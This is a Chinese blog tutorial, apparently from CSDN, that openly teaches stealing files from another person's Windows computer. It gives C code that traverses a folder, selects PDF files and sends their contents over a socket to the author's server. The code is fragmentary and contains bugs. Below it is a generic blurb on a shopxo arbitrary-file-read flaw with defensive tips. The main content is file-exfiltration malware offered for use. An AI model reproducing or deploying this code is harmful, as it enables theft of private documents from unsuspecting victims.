文件窃取之文件遍历

我们来学习一下如何窃取别人电脑上的文件,原理就是遍历电脑上的文件,然后发送给服务器,别人的电脑充当客户端,我们自己的电脑充当服务器

第一步  包含头文件

#include <stdio.h>
#include <windows.h>

这里,如果再包含一个winsock2的头文件,就会报错,因为写了windows.h就不需要winsock2了

第二步  定义一个获取路径下所有文件名的函数

int main()  {
	getFile("C:\\Users\\笔记");   }

这里要用两个\\来表示一个\

第三步 定义getFile函数

int  getFile(const char* filepath)
{
	WIN32_FIND_DATA FindFileData;
	/文件、键盘、鼠标等都是通过句柄来标识
	HANDLE hListFile;

WIN32_FIND_DATA可用来表示文件,它是一个结构体,然后再定义一个句柄

第三步

    char szFilePath[MAX_PATH]{0};
	/strcpy字符串复制函数,strcat截断函数
	strcpy( szFilePath,filepath );
	strcat(szFilePath, "\\*");

MAX_PATH是系统的一个宏,表示260

第四步 将句柄赋值为

hListFile = FindFirstFile ( szFilePath, &FindFileData );

查看一下FindFirstFile的定义FindFirstFileW (

             _In_ LPCWSTR lpFileName,
            _Out_ LPWIN32_FIND_DATAW lpFindFileData

另外它的返回值为Handle,这就是为什么我们要定义一个句柄的原因

 第一个参数类型为wchar*,而我们的szFilePath为char* ,所以我们将字符集修改为多字符集

第五步 循环遍历

do {
		char mypath[MAX_PATH]{};
		strcpy(mypath, filepath);
		strcat(mypath, FindFileData.cFileName);
		if (strstr(mypath,".pdf"))
		{
			SendtoServ(mypath);
			printf("mypath==%s\n", mypath);
		}
	} while (FindNextFile(hListFile, &FindFileData));

strcat的第二个参数表示文件名,因为WIN32_FIND_DATA类型表示一个结构体,它里面有个成员变量表示文件名,FindNextFile函数,第一个参数为文件句柄,第二个参数为第一个文件的地址,知道它返回NULL,表示查不到下一个文件

这里有个错误一定要记住,路径一定要对,不管是形参还是实参,不然就会出现sendtosrv里面的fp为空指针,引起报错,我这里的错误就是传入的最后面少了两个\\,导致拼接错误

我们尝试编译后,发现如下错误

error C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.

error C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.

我们可以直接禁用警告,右键属性-> C++=>所有选项->禁用特定警告,填入4996

if判断表示,如果文件名中含有pdf,调用函数发送给服务端,我们来实现一下sendtoserv函数

int  SendtoServ (const char* mypath)  {
...
    FILE* fp = fopen(mypath, "rb");
	int len = fread(sendBuff, 1, 100, fp);
	int iLen = send(sockClie, (char*)sendBuff, 100, 0);
...
}

这里省略的内容和TCP client内容差不多,也是建立一个socket连接,给服务端发送数据,不同的是这里发送的是mypath路径下的文件内容,将文件内容通过fread读取到sendbuff中,然后发送给服务端。这个len的作用应该就是让一个变量来接收一下返回值,而且len只出现了这一次

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
shopxo是一种流行的开源电商系统,以其简单易用和灵活性而备受欢迎。然而,它也存在一些安全漏洞,包括任意文件读取漏洞。这个漏洞可能会使攻击者能够读取服务器上的任意文件,包括敏感的配置文件和用户数据。 要利用shopxo download任意文件读取漏洞,攻击者通常会构造特定的URL请求,注入恶意代码来访问目标文件。攻击者可能可以通过执行一系列步骤来实现此目标,例如: 1. 识别目标系统上潜在的敏感文件,如数据库配置文件、用户身份验证文件等。 2. 构造特定的URL来请求这些文件,使用目标系统的下载功能。 3. 在URL中注入特殊字符或路径遍历符号,以绕过访问限制和读取目标文件。 一旦攻击者成功读取到目标文件,他们可能会进一步利用这些信息来实施其他攻击,例如窃取用户信息、篡改网站内容或者进行其他恶意活动。 为了防范shopxo download任意文件读取漏洞,网站管理员可以采取以下措施: 1. 及时更新shopxo系统以修复任何已知漏洞,并安装最新的补丁程序。 2. 限制对敏感文件的访问权限,确保只有授权的用户能够访问它们。 3. 验证和过滤用户输入,以防止任意文件读取漏洞的利用。 4. 实施Web应用程序防火墙(WAF),以监视和阻止恶意请求。 5. 定期进行安全审计和漏洞扫描,以及对服务器和应用程序配置进行安全性评估。 通过采取这些预防措施,可以最大限度地减少shopxo download任意文件读取漏洞的风险,并确保网站和用户数据的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值